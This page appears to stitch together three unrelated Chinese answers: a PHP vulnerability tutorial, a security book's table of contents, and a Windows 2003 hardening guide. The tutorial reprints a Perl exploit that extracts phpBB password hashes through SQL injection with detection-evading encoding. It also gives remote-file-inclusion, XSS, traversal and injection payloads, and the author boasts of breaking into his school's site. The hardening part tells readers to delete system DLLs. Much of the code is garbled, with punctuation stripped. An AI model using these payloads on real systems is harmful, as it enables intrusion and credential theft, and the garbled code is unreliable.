❶ php源碼漏洞多少錢
從現在的網路安全來看,大家最關注和接觸最多的WEB頁面漏洞應該是ASP了,在這方面,小竹是專家,我沒發言權.然而在PHP方面來看,也同樣存在
很嚴重的安全問題,但是這方面的文章卻不多.在這里,就跟大家來稍微的討論一下PHP頁面的相關漏洞吧.
我對目前常見的PHP漏洞做了一下總結,大致分為以下幾種包含文件漏洞,腳本命令執行漏洞,文件泄露漏洞,SQL注入漏洞等幾種.當然,至於
COOKIE欺騙等一部分通用的技術就不在這里討論了,這些資料網上也很多.那麼,我們就一個一個來分析一下怎樣利用這些漏洞吧!
首先,我們來討論包含文件漏洞.這個漏洞應該說是PHP獨有的吧.這是由於不充分處理外部提供的惡意數據,從而導致遠程攻擊者可以利用這
些漏洞以WEB進程許可權在系統上執行任意命令.我們來看一個例子假設在a.php中有這樣一句代碼
php
include($include.***.php);
在這段代碼中,$include一般是一個已經設置好的路徑,但是我們可以通過自己構造一個路徑來達到攻擊的目的.比方說我們提交
a.phpinclude=httpwebb.php,這個web是我們用做攻擊的空間,當然,b.php也就是我們用來攻擊的代碼了.我們可以在b.php中寫入類似於
passthru(binls etc);的代碼.這樣,就可以執行一些有目的的攻擊了.(注web伺服器應該不能執行php代碼,不然就出問題了.相關詳情可以去看
如何對PHP程序中的常見漏洞進行攻擊).在這個漏洞方面,出狀況的很多,比方說PayPal Store Front,
HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些.
接著,我們再來看一下腳本命令執行漏洞.這是由於對用戶提交的URI參數缺少充分過濾,提交包含惡意HTML代碼的數據,可導致觸發跨站腳
本攻擊,可能獲得目標用戶的敏感信息。我們也舉個例子在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php頁面對PHPSESSID缺少充
分的過濾,我們可以通過這樣的代碼來達到攻擊的目的
httpwebindex.phpPHPSESSID=script...script在script裡面我們可以構造函數來獲得用戶的一些敏感信息.在這個漏洞方面相對要少一點,除了
PHP Transparent之外還有PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等.
再然後,我們就來看看文件泄露漏洞了.這種漏洞是由於對用戶提交參數缺少充分過濾,遠程攻擊者可以利用它進行目錄遍歷攻擊以及獲取
一些敏感信息。我們拿最近發現的phpMyAdmin來做例子.在phpMyAdmin中,export.php頁面沒有對用戶提交的'what'參數進行充分過濾,遠程攻擊
者提交包含多個'..'字元的數據,便可繞過WEB ROOT限制,以WEB許可權查看系統上的任意文件信息。比方說打入這樣一個地址
export.phpwhat=............etcpasswd%00 就可以達到文件泄露的目的了.在這方面相對多一點,有myPHPNuke,McNews等等.
最後,我們又要回到最興奮的地方了.想想我們平時在asp頁面中用SQL注入有多麼爽,以前還要手動注入,一直到小竹悟出SQL注入密笈(嘿
嘿),然後再開做出NBSI以後,我們NB聯盟真是拉出一片天空.曾先後幫CSDN,大富翁論壇,中國頻道等大型網站找出漏洞.(這些廢話不多說了,有點
跑題了...).還是言規正傳,其實在asp中SQL的注入和php中的SQL注入大致相同,只不過稍微注意一下用的幾個函數就好了.將asc改成ASCII,len
改成LENGTH,其他函數基本不變了.其實大家看到PHP的SQL注入,是不是都會想到PHP-NUKE和PHPBB呢不錯,俗話說樹大招分,像動網這樣的論壇在
asp界就該是漏洞這王了,這並不是說它的論壇安全太差,而是名氣太響,別人用的多了,研究的人也就多了,發現的安全漏洞也就越多了.PHPBB也
是一樣的,現在很大一部分人用PHP做論壇的話,一般都是選擇了PHPBB.它的漏洞也是一直在出,從最早phpBB.com phpBB 1.4.0版本被人發現漏洞
,到現在最近的phpBB 2.0.6版本的groupcp.php,以及之前發現的search.php,profile.php,viewtopic.php等等加起來,大概也有十來個樣子吧.
這也一直導致,一部分人在研究php漏洞的時候都會拿它做實驗品,所謂百練成精嘛,相信以後的PHPBB會越來越好.
好了,我們還是來分析一下漏洞產生的原因吧.拿viewtopic.php頁面來說,由於在調用viewtopic.php時,直接從GET請求中獲得topic_id並
傳遞給SQL查詢命令,而並沒有進行一些過濾的處理,攻擊者可以提交特殊的SQL字元串用於獲得MD5密碼,獲得此密碼信息可以用於自動登錄或者
進行暴力破解。(我想應該不會有人想去暴力破解吧,除非有特別重要的原因).先看一下相關源代碼
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic']) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }
從上面我們可以看出,如果提交的view=newest並且sid設置了值的話,執行的查詢代碼像下面的這個樣子(如果你還沒看過PHPBB源代碼的話,建議
你看了再對著這里來看,受影響系統為phpBB 2.0.5和phpBB 2.0.4).
# $sql = SELECT p.post_id
# FROM . POSTS_TABLE . p, . SESSIONS_TABLE . s, . USERS_TABLE . u
# WHERE s.session_id = '$session_id'
# AND u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time = u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMIT 1;
Rick提供了下面的這斷測試代碼
use IOSocket;
$remote = shift 'localhost';
$view_topic = shift 'phpBB2viewtopic.php';
$uid = shift 2;
$port = 80;
$dbtype = 'mysql4'; # mysql4 or pgsql
print Trying to get password hash for uid $uid server $remote dbtype $dbtypen;
$p = ;
for($index=1; $index=32; $index++)
{
$socket = IOSocketINET-new(PeerAddr = $remote,
PeerPort = $port,
Proto = tcp,
Type = SOCK_STREAM)
or die Couldnt connect to $remote$port [email=$@n]$@n[/email];
$str = GET $view_topic . sid=1&topic_id=-1 . random_encode(make_dbsql()) . &view=newest . HTTP1.0nn;
print $socket $str;
print $socket Cookie phpBB2mysql_sid=1n; # replace this for pgsql or remove it
print $socket Host $remotenn;
while ($answer = $socket)
{
if ($answer =~ location.x23(d+)) # Matches the location viewtopic.phpp=num#num
{
$p .= chr ($1);
}
}
close($socket);
}
print nMD5 Hash for uid $uid is $pn;
# random encode str. helps avoid detection
sub random_encode
{
$str = shift;
$ret = ;
for($i=0; $ilength($str); $i++)
{
$c = substr($str,$i,1);
$j = rand length($str) 1000;
if (int($j) % 2 $c eq ' ')
{
$ret .= % . sprintf(%x,ord($c));
}
else
{
$ret .= $c;
}
}
return $ret;
}
sub make_dbsql
{
if ($dbtype eq 'mysql4')
{
return union select ord(substring(user_password, . $index . ,1)) from phpbb_users where user_id=$uid ;
} elsif ($dbtype eq 'pgsql')
{
return ; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users
u where u.user_id=$uid or false;
}
else
{
return ;
}
}
這斷代碼,我就不多做解釋了.作用是獲得HASH值.
看到這里,大家可能有點疑問,為什麼我前面講的那些改的函數怎麼沒有用到,我講出來不怕大家笑話其實網上很多站點有些頁面的查詢語句
看起來會是這樣
display.phpsqlsave=select++from+aaa+where+xx=yy+order+by+bbb+desc
不要笑,這是真的,我還靠這個進過幾個大型網站.至於哪一些,不好講出來,不過我們學校的網站,我就是靠這個進後台的(希望學校網路中心的看
不到這篇文章,^_^).把前面那函數用上吧.不然你只有改人家的密碼了哦!!!
差點忘了一點,在SQL注入的時候,PHP與ASP有所不同,MySQL對sql語句的運用沒有mssql靈活,因此,很多在mssql上可以用的查詢語句在mysql
資料庫中都不能奏效了. 一般我們常見的注入語句像這樣aaa.phpid=a' into outfile 'pass.txt或是aaa.phpid=a' into outfile 'pass.txt'
再進一步可以改成aaa.phpid=a' or 1=1 union select id,name,password form users into outfile 'ca.txt
這樣可以將資料庫數據導出為文件,然後可以查看.
或是這樣mode=',user_level='4
這個語句一般用在修改資料時,假設頁面存在漏洞的話,就可以達到提升許可權的做用.
其它的如' OR 1=1 -- 或者1' or 1='1則跟asp差不多.這里不多講了.在php裡面,SQL注入看來還是漏洞之首啊,有太多的頁面存在這個問題了.
其實大家可以看出來,上面那些分類歸根結底只有一個原因提交參數沒過濾或是過濾不夠嚴謹.黑客防線向來有攻有守.這里,就大致講一下
防範的方法吧.
首先,我個人認為最重要的一點是將magic_quotes_gpc高為ON,它的作用是將單引號,雙引號,反斜線,和空字元轉換為含有反斜線的字元,如
select from admin where username='$username' and password='$password'語句,攻擊者想用1' or 1='1跳過驗證,但是,那些字元串將被轉
換成這樣select from admin where username='a' and password='1' or 1='1'從而達到阻止注入的目的,事實也就是自動進行了addslashes
()操作.再不行的話,自己定義函數處理吧.現在看來,那些搞PHP注入的人也比較郁悶,因為myslq4以下版本不支持子語句,而新版本的mysql又會
將magic_quotes_gpc選項默認為開.
解決包含文件漏洞用的方法就是要求程序員包含文件里的參數盡量不要使用變數,如果使用變數,就一定要嚴格檢查要包含的文件名,絕
對不能由用戶任意指定,建議設global_variables為off。如前面文件打開中限制PHP操作路徑是一個必要的選項。另外,如非特殊需要,一定要
關閉PHP的遠程文件打開功能。修改php.ini文件:allow_url_fopen = Off(注參見PHP安全問題:遠程溢出、DoS、safe_mode繞過漏洞).
還有一點我覺得很多網站都會有這個問題,就是沒有關錯誤顯示.輕一看可能沒什麼,但是一些盯了很久(用詞有點不對哦)的人就可以通過錯
誤提示來獲得如資料庫信息,網頁文件物理路徑等等.
❷ 黑客入侵網頁攻防修煉的圖書目錄
第1章PHP網頁的安全性1
1.1什麼是安全性2
1.1.1黑客攻擊的方式2
1.1.2PHP網頁的安全性問題3
1.2RegisterGlobals4
1.3安全模式7
1.3.1限制文件的存取8
1.3.2限制環境變數的存取8
1.3.3限制外部程序的執行9
1.4MagicQuotes9
1.4.1使用MagicQuotes的好處10
1.4.2使用MagicQuotes的壞處10
1.4.3取消MagicQuotes功能11
1.5修改PHP的設定值11
1.5.1在php.ini文件中修改設定值12
1.5.2在httpd.conf文件中修改設定值13
1.5.3在.htaccess文件中修改設定值13
1.5.4在程序中修改設定值13
第2章CommandInjection–命令注入攻擊15
2.1PHP的命令執行函數16
2.1.1System函數16
2.1.2Exec函數17
2.1.3passthru函數18
2.1.4shell_exec函數18
2.1.5運算符19
2.2命令注入攻擊19
2.2.1攻擊實例一19
2.2.2攻擊實例二20
2.2.3攻擊實例三21
2.2.4命令注入的方式21
2.3eval注入攻擊22
2.3.1攻擊沒有作用23
2.3.2可變變數24
2.3.3pre_replace函數24
2.3.4ace函數26
2.3.5動態函數27
2.3.6call_user_func函數29
2.4防範的方法30
2.4.1使用escapeshellarg函數來處理命令的參數30
2.4.2使用safe_mode_exec_dir指定的可執行文件的路徑32
第3章ScriptInsertion–客戶端腳本植入攻擊33
3.1客戶端腳本植入攻擊34
3.2攻擊實例:在留言板中插入腳本35
3.2.1開始攻擊:顯示簡單的對話框37
3.2.2沒有顯示對話框38
3.2.3打開InternetExplorer的活動腳本功能39
3.2.4關閉PHP的magic_quotes_gpc40
3.2.5利用資料庫來攻擊41
3.2.6本章的資料庫42
3.2.7瀏覽植入腳本的留言44
3.2.8破壞性的攻擊手法:顯示無窮盡的新窗口45
3.2.9引誘性的攻擊手法:跳轉網址46
3.3防範的方法48
3.3.1HTML輸出過濾48
3.3.2使用strip_tags函數來進行HTML輸出過濾48
3.3.3strip_tags函數的缺點50
3.3.4使用htmlspecialchars函數來進行HTML輸出過濾52
第4章XSS–跨網站腳本攻擊53
4.1什麼是「跨網站腳本攻擊」56
4.2跨網站腳本攻擊58
4.2.1本章的資料庫60
4.2.2登錄首頁61
4.2.3如何攻擊62
4.2.4開始攻擊62
4.2.5沒有顯示對話框64
4.2.6如何取得目標用戶的cookie內容64
4.2.7伺服器的記錄文件67
4.3防範的方法67
4.4隱藏在$_SERVER[PHP_SELF]變數內的腳本70
4.4.1實際範例71
4.4.2拆解 標簽的內容73
4.4.3避免$_SERVER[PHP_SELF]被篡改74
第5章SQLInjection–SQL注入攻擊77
5.1SQL注入攻擊78
5.2攻擊實例:繞過賬號、密碼的檢查79
5.2.1如何攻擊81
5.2.2開始攻擊82
5.2.3隻填入賬號84
5.3攻擊實例:刪除資料庫的所有記錄84
5.3.1刪除留言的記錄86
5.3.2如何攻擊87
5.3.3開始攻擊88
5.4攻擊實例:盜取密碼89
5.4.1如何攻擊91
5.4.2開始攻擊91
5.5防範的方法93
5.5.1數字型變數的過濾方式93
5.5.2字元串變數的過濾方式:使用addslashes函數94
第6章CSRF–跨網站請求偽造攻擊97
6.1跨網站請求偽造攻擊98
6.2攻擊實例:刪除資料庫的一條記錄99
6.2.1刪除留言的記錄101
6.2.2如何攻擊102
6.2.3開始攻擊103
6.3攻擊實例:新增資料庫的一條記錄104
6.3.1如何攻擊105
6.3.2開始攻擊106
6.4防範的方法107
6.4.1檢查網頁的來源108
6.4.2檢查內置的隱藏變數111
6.4.3使用POST,不要使用GET113
第7章SessionHijacking–會話劫持攻擊115
7.1什麼是Session116
7.1.1sessionid116
7.1.2Session的名稱118
7.2PHP的Session機制119
7.2.1URL參數119
7.2.2表單中隱藏屬性的文本框120
7.2.3Cookie121
7.3會話劫持攻擊123
7.3.1攻擊的步驟124
7.3.2如何攻擊124
7.3.3開始攻擊127
7.4Session固定攻擊129
7.4.1攻擊的步驟130
7.4.2攻擊的方式131
7.5防範的方法132
7.5.1定期更改sessionid132
7.5.2更改Session的名稱133
7.5.3關閉透明化sessionid的功能133
7.5.4隻從cookie檢查sessionid134
7.5.5檢查瀏覽器是否改變134
7.5.6使用URL傳遞秘密參數135
第8章HTTPResponseSplitting–HTTP響應拆分攻擊137
8.1HTTP簡介138
8.1.1HTTP請求的格式138
8.1.2HTTP請求的方法139
8.1.3HTTP響應的格式139
8.1.4使用header函數發送HTTP表頭143
8.1.5使用PHP的函數來替代Telnet143
8.2HTTP響應拆分攻擊144
8.3攻擊實例:跳轉地址149
8.4與Session固定結合攻擊150
8.5防範的方法150
8.5.1將session.use_only_cookies設置為1152
8.5.2使用最新版的PHP152
8.6隱藏HTTP響應表頭152
第9章FileUploadAttack–文件上傳攻擊155
9.1文件上傳156
9.1.1上傳文件的大小157
9.1.2$_FILES數組變數158
9.1.3存放上傳文件的文件夾159
9.1.4上傳文件時的錯誤信息159
9.2文件上傳攻擊159
9.2.1上傳可執行文件160
9.2.2覆蓋原有文件162
9.2.3癱瘓網站162
9.2.4存取上傳的文件數據162
9.3防範的方法162
9.3.1關掉上傳文件的功能163
9.3.2限制允許上傳的文件大小163
9.3.3檢查是否真的是上傳的文件164
9.3.4更改臨時文件夾的路徑166
9.3.5讀取上傳文件的絕對路徑與文件名稱167
9.3.6隱藏文件的路徑168
第10章目錄/文件攻擊169
10.1目錄穿越攻擊170
10.1.1如何攻擊170
10.1.2開始攻擊171
10.1.3Microsoft的IIS伺服器173
10.2遠程文件引入攻擊173
10.2.1如何攻擊174
10.2.2開始攻擊174
10.2.3與目錄穿越結合攻擊175
10.2.4與HTTP響應分割結合攻擊177
10.3防範的方法179
10.3.1使用者輸入的文件名179
10.3.2設置open_basedir181
10.3.3設置allow_url_fopen為Off182
10.3.4使用realpath與basename函數來處理文件名182
第11章其他的攻擊183
11.1變數指定攻擊184
11.2URL攻擊187
11.2.1開始攻擊187
11.2.2防範的方法188
11.3表單欺騙攻擊189
11.4HTTP請求欺騙攻擊191
11.5拒絕服務攻擊193
11.5.1SYNFlood攻擊194
11.5.2LAND攻擊195
11.5.3PingofDeath攻擊195
11.5.4PingFlood攻擊195
11.5.5Teardrop攻擊195
11.5.6Pear-to-pear攻擊196
11.5.7分布式拒絕服務攻擊196
11.5.8防範的方法196
11.5.9SYNCookies197
11.5.10防火牆197
11.5.11分享器與路由器197
11.5.12應用程序前端硬體197
11.6網頁劫持攻擊198
11.7緩沖區溢位攻擊198
11.7.1基本範例199
11.7.2堆棧溢出199
第12章攻擊手法匯總201
12.1命令注入攻擊202
12.1.1程序代碼漏洞1202
12.1.2攻擊手法1202
12.1.3程序代碼漏洞2203
12.1.4攻擊手法2203
12.1.5命令注入的方式203
12.1.6防範的方法204
12.2eval注入攻擊204
12.2.1程序代碼漏洞1204
12.2.2攻擊手法205
12.2.3程序代碼漏洞2205
12.2.4攻擊手法205
12.2.5程序代碼漏洞3206
12.2.6攻擊手法206
12.2.7程序代碼漏洞4206
12.2.8攻擊手法206
12.2.9防範的方法207
12.3客戶端腳本注入攻擊207
12.3.1程序代碼漏洞1207
12.3.2攻擊手法207
12.3.3程序代碼漏洞2207
12.3.4攻擊手法208
12.3.5防範的方法208
12.4跨網站腳本攻擊208
12.4.1程序代碼漏洞1209
12.4.2攻擊手法209
12.4.3程序代碼漏洞2209
12.4.4攻擊手法209
12.4.5防範的方法209
12.5SQL注入攻擊210
12.5.1程序代碼漏洞1210
12.5.2攻擊手法211
12.5.3程序代碼漏洞2211
12.5.4攻擊手法211
12.5.5程序代碼漏洞3211
12.5.6攻擊手法212
12.5.7防範的方法212
12.6跨網站請求偽造攻擊213
12.6.1程序代碼漏洞1213
12.6.2攻擊手法214
12.6.3程序代碼漏洞2214
12.6.4攻擊手法214
12.6.5防範的方法215
12.7Session劫持攻擊216
12.7.1程序代碼漏洞216
12.7.2攻擊手法217
12.7.3防範的方法217
12.8Session固定攻擊218
12.8.1程序代碼漏洞218
12.8.2攻擊手法218
12.8.3防範的方法219
12.9HTTP響應拆分攻擊221
12.9.1程序代碼漏洞1221
12.9.2攻擊手法221
12.9.3程序代碼漏洞2222
12.9.4攻擊手法222
12.9.5防範的方法222
12.10文件上傳攻擊223
12.10.1程序代碼漏洞223
12.10.2攻擊手法224
12.10.3防範的方法224
12.11目錄穿越攻擊225
12.11.1程序代碼漏洞225
12.11.2攻擊手法226
12.11.3防範的方法226
12.12遠程文件引入攻擊226
12.12.1程序代碼漏洞227
12.12.2攻擊手法1227
12.12.3攻擊手法2227
12.12.4防範的方法227
12.13變數指定攻擊228
12.13.1程序代碼漏洞228
12.13.2攻擊手法228
12.13.3防範的方法229
第13章漏洞掃描器231
13.1什麼是「漏洞掃描器」232
13.2Nessus漏洞掃描器232
13.2.1Nessus的特點233
13.2.2下載與安裝233
13.2.3執行Nessus234
13.2.4Nessus檢查漏洞的方式237
13.3MaxPatrol漏洞掃描器238
13.4Paros漏洞掃描器240
13.4.1Paros的特點240
13.4.2下載與安裝241
13.4.3設置瀏覽器的Proxy241
13.4.4執行Paros243
13.4.5掃描漏洞244
13.4.6檢視HTTP請求與響應的內容245
13.4.7Paros的Trap功能245
13.4.8URL編碼與解碼246
第14章開發安全的Web程序247
14.1什麼是「安全的Web應用程序」248
14.2過濾輸入的數據248
14.2.1為什麼要過濾數據249
14.2.2基本的數據過濾程序251
14.2.3數字數據的過濾252
14.2.4字元串數據的過濾253
14.2.5HTML與PHP標簽的過濾254
14.2.6文件路徑的過濾255
14.2.7序列化字元串的過濾256
14.3轉義輸出的數據257
14.3.1基本的轉義程序257
14.3.2轉義SQL表達式的字元串258
14.3.3使用addslashes函數258
14.4RegisterGlobals259
14.4.1隱藏RegisterGlobals所發生的問題260
14.4.2$_REQUEST變數261
14.4.3$_SERVER變數261
14.5magic_quotes_gpc261
14.6錯誤信息的報告262
14.7文件的安全263
14.8Session的安全264
14.8.1Session固定攻擊264
14.8.2Session的保存265
14.9虛擬主機266
14.9.1可預測的臨時文件名稱266
14.9.2隱藏表頭的信息267
14.9.3系統異常的監測267
附錄
附錄ATelnet使用說明269
A.1Telnet簡介270
A.2打開Windows的Telnet服務270
A.3Telnet使用說明272
A.4使用Telnet連接到本地主機273
A.5在HTTP表頭內加上要執行的文件275
附錄B查看HTTP請求與響應的實際內容277
B.1如何查看HTTP請求與響應的實際內容280
B.2修改HTTP請求/響應的內容281
B.3顯示HTTP請求/響應的參數282
B.4顯示上傳文件的HTTP請求283
附錄CURL編碼與解碼285
附錄D構建PHP的測試環境285
D.1AppServ整合包288
D.2安裝AppServ整合包289
D.3測試AppServ是否正確安裝293
D.4伺服器的文件夾位置293
附錄E找出網站的IP地址285
E.1使用Ping命令296
E.2使用NetInfo296
E.3無法找出IP地址297
……
❸ windows 2003伺服器各種服務如何設置
第一步:
一、先關閉不需要的埠
我比較小心,先關了埠。只開了3389 21 80 1433(MYSQL)有些人一直說什麼默認的3389不安全,對此我不否認,但是利用的途徑也只能一個一個的窮舉爆破,你把帳號改
了密碼設置為十五六位,我估計他要破上好幾年,哈哈!辦法:本地連接--屬性--Internet協議(TCP/IP)--高級--選項--TCP/IP篩選--屬性--把勾打上 然後添加你需要的埠即可。PS一句:設置完埠需要重新啟動!
當然大家也可以更改遠程連接埠方法:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00002683
保存為.REG文件雙擊即可!更改為9859,當然大家也可以換別的埠, 直接打開以上注冊表的地址,把值改為十進制的輸入你想要的埠即可!重啟生效!
還有一點,在2003系統里,用TCP/IP篩選里的埠過濾功能,使用FTP伺服器的時候,只開放21埠,在進行FTP傳輸的時候,FTP 特有的Port模式和Passive模式,在進行數據傳輸的時候,需要動態的打開高埠,所以在使用TCP/IP過濾的情況下,經常會出現連接上後無法列出目錄和數據傳輸的問題。所以在2003系統上增加的windows連接防火牆能很好的解決這個問題,所以都不推薦使用網卡的TCP/IP過濾功能。所做FTP下載的用戶看仔細點,表怪俺說俺寫文章是垃圾...如果要關閉不必要的埠,在\\system32\\drivers\\etc\\services中有列表,記事本就可以打開的。如果懶惰的話,最簡單的方法是啟用WIN2003的自身帶的網路防火牆,並進行埠的改變。功能還可以!Internet 連接防火牆可以有效地攔截對Windows 2003伺服器的非法入侵,防止非法遠程主機對伺服器的掃描,提高Windows 2003伺服器的安全性。同時,也可以有效攔截利用操作系統漏洞進行埠攻擊的病毒,如沖擊波等蠕蟲病毒。如果在用Windows 2003構造的虛擬路由器上啟用此防火牆功能,能夠對整個內部網路起到很好的保護作用。
二、關閉不需要的服務 打開相應的審核策略
我關閉了以下的服務
Computer Browser 維護網路上計算機的最新列表以及提供這個列表
Task scheler 允許程序在指定時間運行
Routing and Remote Access 在區域網以及廣域網環境中為企業提供路由服務
Removable storage 管理可移動媒體、驅動程序和庫
Remote Registry Service 允許遠程注冊表操作
Print Spooler 將文件載入到內存中以便以後列印。要用列印機的朋友不能禁用這項
IPSEC Policy Agent 管理IP安全策略以及啟動ISAKMP/OakleyIKE)和IP安全驅動程序
Distributed Link Tracking Client 當文件在網路域的NTFS卷中移動時發送通知
Com+ Event System 提供事件的自動發布到訂閱COM組件
Alerter 通知選定的用戶和計算機管理警報
Error Reporting Service 收集、存儲和向 Microsoft 報告異常應用程序
Messenger 傳輸客戶端和伺服器之間的 NET SEND 和 警報器服務消息
Telnet 允許遠程用戶登錄到此計算機並運行程序
把不必要的服務都禁止掉,盡管這些不一定能被攻擊者利用得上,但是按照安全規則和標准上來說,多餘的東西就沒必要開啟,減少一份隱患。
在"網路連接"里,把不需要的協議和服務都刪掉,這里只安裝了基本的Internet協議(TCP/IP),由於要控制帶寬流量服務,額外安裝了Qos數據包計劃程序。在高級tcp/ip設置里--"NetBIOS"設置"禁用tcp/IP上的NetBIOS(S)"。在高級選項里,使用"Internet連接防火牆",這是windows 2003 自帶的防火牆,在2000系統里沒有的功能,雖然沒什麼功能,但可以屏蔽埠,這樣已經基本達到了一個IPSec的功能。
在運行中輸入gpedit.msc回車,打開組策略編輯器,選擇計算機配置-Windows設置-安全設置-審核策略在創建審核項目時需要注意的是如果審核的項目太多,生成的事件也就越多,那麼要想發現嚴重的事件也越難當然如果審核的太少也會影響你發現嚴重的事件,你需要根據情況在這二者之間做出選擇。
推薦的要審核的項目是:
登錄事件 成功 失敗
賬戶登錄事件 成功 失敗
系統事件 成功 失敗
策略更改 成功 失敗
對象訪問 失敗
目錄服務訪問 失敗
特權使用 失敗
三、磁碟許可權設置
1.系統盤許可權設置
C:分區部分:
c:\
administrators 全部(該文件夾,子文件夾及文件)
CREATOR OWNER 全部(只有子文件來及文件)
system 全部(該文件夾,子文件夾及文件)
IIS_WPG 創建文件/寫入數據(只有該文件夾)
IIS_WPG(該文件夾,子文件夾及文件)
遍歷文件夾/運行文件
列出文件夾/讀取數據
讀取屬性
創建文件夾/附加數據
讀取許可權
c:\Documents and Settings
administrators 全部(該文件夾,子文件夾及文件)
Power Users (該文件夾,子文件夾及文件)
讀取和運行
列出文件夾目錄
讀取
SYSTEM全部(該文件夾,子文件夾及文件)
C:\Program Files
administrators 全部(該文件夾,子文件夾及文件)
CREATOR OWNER全部(只有子文件來及文件)
IIS_WPG (該文件夾,子文件夾及文件)
讀取和運行
列出文件夾目錄
讀取
Power Users(該文件夾,子文件夾及文件)
修改許可權
SYSTEM全部(該文件夾,子文件夾及文件)
TERMINAL SERVER USER (該文件夾,子文件夾及文件)
修改許可權
2.網站及虛擬機許可權設置(比如網站在E盤)
說明:我們假設網站全部在E盤wwwsite目錄下,並且為每一個虛擬機創建了一個guest用戶,用戶名為vhost1...vhostn並且創建了一個webuser組,把所有的vhost用戶全部加入這個webuser組裡面方便管理。
E:\
Administrators全部(該文件夾,子文件夾及文件)
E:\wwwsite
Administrators全部(該文件夾,子文件夾及文件)
system全部(該文件夾,子文件夾及文件)
service全部(該文件夾,子文件夾及文件)
E:\wwwsite\vhost1
Administrators全部(該文件夾,子文件夾及文件)
system全部(該文件夾,子文件夾及文件)
vhost1全部(該文件夾,子文件夾及文件)
3.數據備份盤
數據備份盤最好只指定一個特定的用戶對它有完全操作的許可權。比如F盤為數據備份盤,我們只指定一個管理員對它有完全操作的許可權。
4.其它地方的許可權設置
請找到c盤的這些文件,把安全性設置只有特定的管理員有完全操作許可權。
下列這些文件只允許administrators訪問
net.exe
net1.exet
cmd.exe
tftp.exe
netstat.exe
regedit.exe
at.exe
attrib.exe
cacls.exe
format.com
5.刪除c:\inetpub目錄,刪除iis不必要的映射,建立陷阱帳號,更改描述。
四、防火牆、殺毒軟體的安裝
我見過的Win2000/Nt伺服器從來沒有見到有安裝了防毒軟體的,其實這一點非常重要。一些好的殺毒軟體不僅能殺掉一些著名的病毒,還能查殺大量木馬和後門程序。這樣的話,「黑客」們使用的那些有名的木馬就毫無用武之地了。不要忘了經常升級病毒庫,我們推薦mcafree殺毒軟體+blackice防火牆
五、SQL2000 SERV-U FTP安全設置
SQL安全方面
1.System Administrators 角色最好不要超過兩個
2.如果是在本機最好將身份驗證配置為Win登陸
3.不要使用Sa賬戶,為其配置一個超級復雜的密碼
4.刪除以下的擴展存儲過程格式為:
use master
sp_dropextendedproc '擴展存儲過程名'
xp_cmdshell:是進入操作系統的最佳捷徑,刪除
訪問注冊表的存儲過程,刪除
Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues
Xp_regread Xp_regwrite Xp_regremovemultistring
OLE自動存儲過程,不需要刪除
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty Sp_OAStop
5.隱藏 SQL Server、更改默認的1433埠
右擊實例選屬性-常規-網路配置中選擇TCP/IP協議的屬性,選擇隱藏 SQL Server 實例,並改原默認的1433埠
serv-u的幾點常規安全需要設置下:
選中"Block "FTP_bounce"attack and FXP"。什麼是FXP呢?通常,當使用FTP協議進行文件傳輸時,客戶端首先向FTP伺服器發出一個"PORT"命令,該命令中包含此用戶的IP地址和將被用來進行數據傳輸的埠號,伺服器收到後,利用命令所提供的用戶地址信息建立與用戶的連接。大多數情況下,上述過程不會出現任何問題,但當客戶端是一名惡意用戶時,可能會通過在PORT命令中加入特定的地址信息,使FTP伺服器與其它非客戶端的機器建立連接。雖然這名惡意用戶可能本身無權直接訪問某一特定機器,但是如果FTP伺服器有權訪問該機器的話,那麼惡意用戶就可以通過FTP伺服器作為中介,仍然能夠最終實現與目標伺服器的連接。這就是FXP,也稱跨伺服器攻擊。選中後就可以防止發生此種情況。
六、IIS安全設置
IIS的相關設置:
刪除默認建立的站點的虛擬目錄,停止默認web站點,刪除對應的文件目錄c:inetpub,配置所有站點的公共設置,設置好相關的連接數限制,帶寬設置以及性能設置等其他設置。配置應用程序映射,刪除所有不必要的應用程序擴展,只保留asp,php,cgi,pl,aspx應用程序擴展。對於php和cgi,推薦使用isapi方式解析,用exe解析對安全和性能有所影響。用戶程序調試設置發送文本錯誤信息給戶。對於資料庫,盡量採用mdb後綴,不需要更改為asp,可在IIS中設置一個mdb的擴展映射,將這個映射使用一個無關的dll文件如C:WINNTsystem32inetsrvssinc.dll來防止資料庫被下載。設置IIS的日誌保存目錄,調整日誌記錄信息。設置為發送文本錯誤信息。修改403錯誤頁面,將其轉向到其他頁,可防止一些掃描器的探測。另外為隱藏系統信息,防止telnet到80埠所泄露的系統版本信息可修改IIS的banner信息,可以使用winhex手工修改或者使用相關軟體如banneredit修改。
對於用戶站點所在的目錄,在此說明一下,用戶的FTP根目錄下對應三個文件佳,wwwroot,database,logfiles,分別存放站點文件,資料庫備份和該站點的日誌。如果一旦發生入侵事件可對該用戶站點所在目錄設置具體的許可權,圖片所在的目錄只給予列目錄的許可權,程序所在目錄如果不需要生成文件(如生成html的程序)不給予寫入許可權。因為是虛擬主機平常對腳本安全沒辦法做到細致入微的地步,更多的只能在方法用戶從腳本提升許可權:
ASP的安全設置:
http://www.knowsky.com/system.asp
設置過許可權和服務之後,防範asp木馬還需要做以下工作,在cmd窗口運行以下命令:
regsvr32/u C:\WINNT\System32\wshom.ocx
del C:\WINNT\System32\wshom.ocx
regsvr32/u C:\WINNT\system32\shell32.dll
del C:\WINNT\system32\shell32.dll
即可將WScript.Shell, Shell.application, WScript.Network組件卸載,可有效防止asp木馬通過wscript或shell.application執行命令以及使用木馬查看一些系統敏感信息。另法:可取消以上文件的users用戶的許可權,重新啟動IIS即可生效。但不推薦該方法。
